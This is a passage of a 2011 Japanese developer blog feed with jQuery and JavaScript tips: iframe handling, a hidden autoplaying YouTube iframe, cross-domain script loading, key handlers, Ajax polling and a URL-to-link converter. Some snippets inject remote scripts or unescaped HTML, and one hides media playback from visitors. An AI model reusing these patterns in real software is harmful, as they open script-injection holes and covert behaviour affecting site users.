//ここでIframeがロードされる。&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; document.getElementById("ifr")&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; .contentWindow&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; .document.write("&amp;lt;html&amp;gt;&amp;lt;head&amp;gt;&amp;lt;/head&amp;gt;&amp;lt;body&amp;gt;&amp;lt;/body&amp;gt;&amp;lt;/html&amp;gt;");&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; //これを書かないとGoogle Chrome以外は動作しない。&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $("#ifr").contents().find("body").append("hoge");&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; //Ifrの内容に"hoge"を追加。&lt;br&gt;&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; //--------------------------------------方法2&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $ifrObj = $("&amp;lt;iframe&amp;gt;&amp;lt;/iframe&amp;gt;").appendTo(document.body);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $ifrObj.contents().ready(function(){&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; $ifrObj.contents().find("body").append("&amp;lt;div&amp;gt;hoge&amp;lt;/div&amp;gt;");&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; });&lt;br&gt;&lt;br&gt;});&lt;br&gt;&amp;lt;/script&amp;gt;&lt;br&gt;&amp;lt;/head&amp;gt;&lt;br&gt;&amp;lt;body&amp;gt;&lt;br&gt;&amp;lt;/body&amp;gt;&lt;br&gt;&amp;lt;/html&amp;gt;&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;jQuery自体はクロスブラウザ対策用に使えるかもしれないが、IfrのロードはChromeだと自動的にHTMLタグ、HEAD、Bodyが追加されているが、それ以外のブラウザだとReadyに時間がかかるか初期状態が空白のため検索ができない。  &lt;p&gt;一応対処はこれぐらいかな。&lt;/p&gt; &lt;p&gt;たぶん方法2のほうが楽。&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8028206435131058419-1820484225864301802?l=axe1lyze.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://axe1lyze.blogspot.com/feeds/1820484225864301802/comments/default' title='コメントの投稿'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8028206435131058419&amp;postID=1820484225864301802&amp;isPopup=true' title='0 件のコメント'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/1820484225864301802'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/1820484225864301802'/><link rel='alternate' type='text/html' href='http://axe1lyze.blogspot.com/2011/08/queryiframe.html' title='jQueryでiFrameを扱う'/><author><name>Masaharu Tsukamoto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-UCfldpDnCAY/AAAAAAAAAAI/AAAAAAAAAQQ/98ZoBg119Mk/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8028206435131058419.post-2018711378393581849</id><published>2011-08-10T16:24:00.001+09:00</published><updated>2011-08-10T16:24:19.411+09:00</updated><title type='text'>EMBEDを非表示で再生する</title><content type='html'>&lt;p&gt;ただiframeの中にEmbedを書き込みIframeを非表示にするだけ。&lt;/p&gt; &lt;p&gt;これで怪しいサイト作れちゃうね。Iframeって恐ろしい。&lt;/p&gt; &lt;p&gt;まぁそんなものよりもYoutubeなんかの動画をBGMとして使うには活用できそう。&lt;/p&gt; &lt;p&gt;結構面倒かもしれないけど、スクリプトも加えれるしね。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;一応コード。面倒だからdocument.writeで書いちゃってます。&lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;&amp;lt;iframe&lt;br&gt;　　　　name="test"&lt;br&gt;　　　　width="100%" height="100%"&lt;br&gt;　　　　style="display:none;"&amp;gt;&lt;br&gt;&amp;lt;/iframe&amp;gt;&lt;br&gt;&amp;lt;script&amp;gt;&lt;br&gt;test.document.write("&lt;br&gt;　　　　&amp;lt;embed &lt;br&gt;　　　　　　src='&lt;a href="http://www.youtube.com/v/IGiYYIi-H8k?autoplay=1'"&gt;http://www.youtube.com/v/IGiYYIi-H8k?autoplay=1'&lt;/a&gt;&lt;br&gt;　　　　　　width='100%' height='100%'&lt;br&gt;　　　　　　type='application/x-shockwave-flash'&lt;br&gt;　　　　　　allowscriptaccess='always'&lt;br&gt;　　　　　　allowfullscreen='true'&lt;br&gt;　　　　　　style='padding:0px;margin:0px;'&amp;gt;&lt;br&gt;　　　　&amp;lt;/embed&amp;gt;"&lt;br&gt;);&lt;br&gt;&amp;lt;/script&amp;gt;&lt;/p&gt;&lt;/blockquote&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8028206435131058419-2018711378393581849?l=axe1lyze.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://axe1lyze.blogspot.com/feeds/2018711378393581849/comments/default' title='コメントの投稿'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8028206435131058419&amp;postID=2018711378393581849&amp;isPopup=true' title='0 件のコメント'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/2018711378393581849'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/2018711378393581849'/><link rel='alternate' type='text/html' href='http://axe1lyze.blogspot.com/2011/08/embed.html' title='EMBEDを非表示で再生する'/><author><name>Masaharu Tsukamoto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-UCfldpDnCAY/AAAAAAAAAAI/AAAAAAAAAQQ/98ZoBg119Mk/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8028206435131058419.post-1271689822919732932</id><published>2011-08-08T00:40:00.001+09:00</published><updated>2011-08-08T00:44:20.757+09:00</updated><title type='text'>クロスドメインでJSを実行する方法</title><content type='html'>&lt;p&gt;&lt;a href="http://jswos.client.jp/" target="_blank"&gt;JSWOS（JavaScript Web OS）&lt;/a&gt;を作っていて思いついた。&lt;/p&gt; &lt;p&gt;どうやったらクロスドメインでデータを取得できるのか。&lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;function crossDomainJS(url){&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $("&amp;lt;script src='"+url+"'&amp;gt;&amp;lt;/script&amp;gt;")&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; .bind("onload",function(){$(this).remove();})&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; .appendTo("head");&lt;br&gt;}&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;これでcrossDomainJS()のパラメタにクロスドメインのJSのURLを入れても大丈夫。&lt;/p&gt; &lt;p&gt;これは引数でURLのJSファイルを実行し、読み込み完了時に要素を自動的に削除するというものです。&lt;/p&gt; &lt;p&gt;これでレンタルサバをJSモジュールの倉庫にできる。（大体のところでは規約違反になります）&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8028206435131058419-1271689822919732932?l=axe1lyze.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://axe1lyze.blogspot.com/feeds/1271689822919732932/comments/default' title='コメントの投稿'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8028206435131058419&amp;postID=1271689822919732932&amp;isPopup=true' title='0 件のコメント'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/1271689822919732932'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/1271689822919732932'/><link rel='alternate' type='text/html' href='http://axe1lyze.blogspot.com/2011/08/js.html' title='クロスドメインでJSを実行する方法'/><author><name>Masaharu Tsukamoto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-UCfldpDnCAY/AAAAAAAAAAI/AAAAAAAAAQQ/98ZoBg119Mk/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8028206435131058419.post-5836053312706305021</id><published>2011-07-06T17:07:00.001+09:00</published><updated>2011-07-06T17:11:21.617+09:00</updated><title type='text'>Android初期導入アプリとMilestone2を3日間（？）使った所感</title><content type='html'>&lt;p&gt;やっとAndroidデビュー（笑）できました。&lt;/p&gt; &lt;p&gt;携帯端末としてAndroidを使うのは初めてでMilestone2でよかったかなと。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;とりあえず導入したアプリ&lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;・ADW – ランチャー&lt;br&gt;・OpenWnn フリック対応版&lt;br&gt;・Skype&lt;br&gt;・Dolphin Browser HD – ブラウザ&lt;br&gt;・Flash Player 10.3&lt;br&gt;・Digital Clock Widget（Red Wizard） - 時計ウィジェット&lt;br&gt;・Battery Widget（geekyouup） - バッテリー残量表示ウィジェット&lt;br&gt;・Temp+CPU V2 - システム情報表示ウィジェット&lt;br&gt;・Task Killer（Funny Android Games） – タスクキラー&lt;br&gt;・Uninstaller （Rhythm Software）&lt;br&gt;・SilentMode OnOff&lt;br&gt;・AutoRotate OnOff&lt;br&gt;・ES ファイルエクスプローラ － エクスプローラ&lt;br&gt;・Gmail – メール&lt;br&gt;・Youtube&lt;br&gt;・Google Map - 地図&lt;br&gt;・Google Reader – RSSリーダー&lt;br&gt;・Chrome to Phone&lt;br&gt;・Twitter&lt;br&gt;・DropBox – ネットワークストレージ&lt;br&gt;・Ustream&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;Milestone2（たぶんフルキーボード搭載端末）はOpenWnnフリック対応版かSimejiが入力切替が楽。&lt;/p&gt; &lt;p&gt;Simejiはスペースで変換できなかったのでOpenWnnフリック対応版を入れた。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;タスクキラーはAdvanced Task Killerがよかったのだが、画面オフした時にタスクキルしてくれなかった。できるものを探した挙句上記のタスクキラーに。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;jQuery（JavaScript）が動作するのは初期ブラウザとDolphinだけでしたのでブラウザはDolphin をインストール。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;ESファイルエクスプローラーはDropBoxをサポートしてるのでDropBox公式アプリをいれなくてもDropBoxを利用できる。&lt;/p&gt; &lt;p&gt;けどなんか読み込みが遅いので公式を入れておいた。&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8028206435131058419-5836053312706305021?l=axe1lyze.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://axe1lyze.blogspot.com/feeds/5836053312706305021/comments/default' title='コメントの投稿'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8028206435131058419&amp;postID=5836053312706305021&amp;isPopup=true' title='0 件のコメント'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/5836053312706305021'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/5836053312706305021'/><link rel='alternate' type='text/html' href='http://axe1lyze.blogspot.com/2011/07/androidmilestone23.html' title='Android初期導入アプリとMilestone2を3日間（？）使った所感'/><author><name>Masaharu Tsukamoto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-UCfldpDnCAY/AAAAAAAAAAI/AAAAAAAAAQQ/98ZoBg119Mk/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8028206435131058419.post-3574629484225580759</id><published>2011-06-26T00:40:00.001+09:00</published><updated>2011-06-26T00:40:33.060+09:00</updated><title type='text'>JavaScriptのループでブロックしない方法</title><content type='html'>&lt;p&gt;久々の更新ですが、今回はかなり短いです。&lt;/p&gt; &lt;p&gt;for文やwhile文を使うと終わるまでブロックされてしまう。&lt;/p&gt; &lt;p&gt;回避する方法でConcurrentThreadなんてライブラリがあったような気がしますが使わなくても簡単にできます。&lt;/p&gt; &lt;p&gt;まぁ以下に書くものをライブラリにしたのがConcurrentThreadでしょうけど。&lt;/p&gt; &lt;p&gt;というわけで方法。&lt;/p&gt; &lt;p&gt;loop(条件式){}のloopはwhileやforで。&lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;loop(条件式){setTimeout(function(){&lt;br&gt;&amp;nbsp; ループで行う内容&lt;br&gt;},0);}&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;まぁようするに一瞬待たせればいいだけです。&lt;/p&gt; &lt;p&gt;これでマルチスレッドなプログラムも簡単に作れそう。&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8028206435131058419-3574629484225580759?l=axe1lyze.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://axe1lyze.blogspot.com/feeds/3574629484225580759/comments/default' title='コメントの投稿'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8028206435131058419&amp;postID=3574629484225580759&amp;isPopup=true' title='0 件のコメント'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/3574629484225580759'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/3574629484225580759'/><link rel='alternate' type='text/html' href='http://axe1lyze.blogspot.com/2011/06/javascript_26.html' title='JavaScriptのループでブロックしない方法'/><author><name>Masaharu Tsukamoto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-UCfldpDnCAY/AAAAAAAAAAI/AAAAAAAAAQQ/98ZoBg119Mk/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8028206435131058419.post-556705134687042083</id><published>2011-06-19T16:34:00.001+09:00</published><updated>2011-06-20T13:24:24.379+09:00</updated><title type='text'>Ajax+PHPで擬似リアルタイム通信</title><content type='html'>&lt;p&gt;以前にも同じようなことを書いたのですが、以前のやり方では不完全だったので書き直します。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;reload("./test.php");//ここはテキストファイルじゃだめ。PHPじゃないとだめ。&lt;br&gt;&lt;br&gt;function reload(url){&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $.get(url+"?"+new Date().getDate(),function(data){&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; reload_func(data);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; setTimeout(function(){reload(url);},0);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br&gt;}&lt;br&gt;&lt;br&gt;function reload_func(data){&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; 更新されたときの内容をちょめちょめ。&lt;br&gt;}&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;ゲットするURLはテキストファイルじゃだめです。これでキャッシュされなくなるので毎回そのときのデータを拾ってくることができます。これもmethods.jsに加えておこうかな。&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8028206435131058419-556705134687042083?l=axe1lyze.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://axe1lyze.blogspot.com/feeds/556705134687042083/comments/default' title='コメントの投稿'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8028206435131058419&amp;postID=556705134687042083&amp;isPopup=true' title='0 件のコメント'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/556705134687042083'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/556705134687042083'/><link rel='alternate' type='text/html' href='http://axe1lyze.blogspot.com/2011/06/ajaxphp.html' title='Ajax+PHPで擬似リアルタイム通信'/><author><name>Masaharu Tsukamoto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-UCfldpDnCAY/AAAAAAAAAAI/AAAAAAAAAQQ/98ZoBg119Mk/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8028206435131058419.post-8212388784630251007</id><published>2011-06-02T20:55:00.001+09:00</published><updated>2011-06-04T01:20:45.663+09:00</updated><title type='text'>JavaScriptで各キーに関数をセットする</title><content type='html'>&lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;今回は各キーを入寮したときに関数を呼び出せるようにするゲーム開発&lt;s&gt;やキーロガー作成&lt;/s&gt;の手助けをするものを作成しました。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;まず、ヘッダーに&lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;&amp;lt;script src=”http://axe1lyze.client.jp/methods.js”&amp;gt;&amp;lt;/script&amp;gt;&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;と書いておく。&lt;/p&gt; &lt;p&gt;jQueryを使っているのでそちらを先にヘッダーに書いてくださいね。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;そしてボディーに&lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;&amp;lt;SCRIPT type="text/javascript"&amp;gt;&amp;lt;!--&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; var keyFunc = new Array();&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; keyFunc["16"] = function(){alert(SEARCH["key"]);};&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; defaultFunc=function(data,i,f){&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; $("body").empty().append(&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; data+" : "+i+&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; " / Shift : "+(f['16']?true:false)+"&amp;lt;br&amp;gt;"&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; );&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; };&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; addKeyFunc("body",keyFunc,defaultFunc);&lt;br&gt;// --&amp;gt;&amp;lt;/SCRIPT&amp;gt;&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;こんな感じでスクリプトを書けばおｋ。  &lt;p&gt;&amp;nbsp; &lt;p&gt;さて説明。  &lt;p&gt;まず、addKeyFuncのパラメータについて。  &lt;blockquote&gt; &lt;p&gt;addKeyFunc(&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; メソッドを追加する対象のオブジェクト ,&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; 連想配列に格納されたメソッド群 ,&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; キーが押されたときのメソッド&lt;br&gt;)&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;第一引数のオブジェクトはjQueryを使っているので  &lt;blockquote&gt; &lt;p&gt;&amp;lt;div id=”test”&amp;gt;&amp;lt;/div&amp;gt;&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;のようなオブジェクトに対して動作をセットしたい場合、  &lt;blockquote&gt; &lt;p&gt;"div#test"&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;のようにセットしてください。  &lt;p&gt;&amp;nbsp; &lt;p&gt;第二引数の連想配列について。  &lt;blockquote&gt; &lt;p&gt;var keyFunc = new Array();&lt;br&gt;keyFunc["16"] = function(data){alert(data[‘16’]);};&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;要するにこの部分。&lt;/p&gt; &lt;p&gt;配列[キーコード]の中にメソッドを入れてください。&lt;/p&gt; &lt;p&gt;ここのメソッドの引数には&lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;キーの状態(boolean)&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;が連想配列で返ってきます。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;第三引数はどのキーを押しても動作する関数です。ログを吐かせるときなどに使います。&lt;/p&gt; &lt;p&gt;セットしたメソッドの第一引数には押されたキーのキーコード、第二引数には押されたのか離されたのかがBooleanで渡されます。&lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;defaultFunc = function(data,v,f){&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $("body").append(data+” : ”+i+”+f+"&amp;lt;br&amp;gt;”);&lt;br&gt;}&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;のようにセットします。&lt;/p&gt; &lt;p&gt;このメソッドの引数には&lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;押されたキーのコード&lt;br&gt;押されたキーの状態(boolean)&lt;br&gt;そのほかのキーの状態[連想配列](boolean)&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;が帰ってきます。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;このサンプルは&lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;&lt;a href="http://axe1lyze.client.jp/examples/keypress.html"&gt;http://axe1lyze.client.jp/examples/keypress.html&lt;/a&gt;&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;に置いておきます。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;Google Chrome, FireFox, IEで動作します。&lt;/p&gt; &lt;p&gt;とりあえずそのうち解説ページを作りますかね。&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8028206435131058419-8212388784630251007?l=axe1lyze.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://axe1lyze.blogspot.com/feeds/8212388784630251007/comments/default' title='コメントの投稿'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8028206435131058419&amp;postID=8212388784630251007&amp;isPopup=true' title='0 件のコメント'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/8212388784630251007'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/8212388784630251007'/><link rel='alternate' type='text/html' href='http://axe1lyze.blogspot.com/2011/06/javascript.html' title='JavaScriptで各キーに関数をセットする'/><author><name>Masaharu Tsukamoto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-UCfldpDnCAY/AAAAAAAAAAI/AAAAAAAAAQQ/98ZoBg119Mk/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8028206435131058419.post-5498909110735987638</id><published>2011-05-27T02:05:00.001+09:00</published><updated>2011-05-27T02:15:38.931+09:00</updated><title type='text'>JavaScriptで文字列からURLを検出しリンクに変更する。</title><content type='html'>&lt;p&gt;とりあえず一応動くものを作成した。&lt;/p&gt; &lt;p&gt;パラメタにセットされた文字列の中にあるURLをすべてリンクに書き換えます。&lt;/p&gt; &lt;p&gt;けど大量の処理を一気にこれでやらせるとフリーズする可能性が高いので、出力するときに使うなど、連続した処理は避けてください。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;コードは以下。&lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;function urlToLink(word,attr){&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; if(word.indexOf("http://")!=-1){&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; attr=attr!=null?attr:"";&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; var link = new Array();&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; link=word.split("http://");&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; for(i=0;i&amp;lt;link.length;i++){&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; link[i]="http://"+link[i];&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if(link[i].indexOf(" ")!=-1){link[i]=link[i].split(" ")[0];}&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; link.shift();&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; for(i=0;i&amp;lt;link.length;i++){&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; word=word.replace(link[i],"&amp;lt;a href='"+link[i]+"' "+attr+"&amp;gt;"+link[i]+"&amp;lt;/a&amp;gt;");&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; link.length=0;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; return word;&lt;br&gt;}&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;使い方&lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;urlToLink(文字列,属性)&lt;br&gt;文字列はURLをLINKに変換したい文字列を入れます。&lt;br&gt;属性は “target=’_blank’ name=’link’”のように記述してください。&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;そのうち属性のセットは連想配列で入力するように仕様変更するかもしれません。&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8028206435131058419-5498909110735987638?l=axe1lyze.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://axe1lyze.blogspot.com/feeds/5498909110735987638/comments/default' title='コメントの投稿'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8028206435131058419&amp;postID=5498909110735987638&amp;isPopup=true' title='0 件のコメント'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/5498909110735987638'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/5498909110735987638'/><link rel='alternate' type='text/html' href='http://axe1lyze.blogspot.com/2011/05/javascripturl.html' 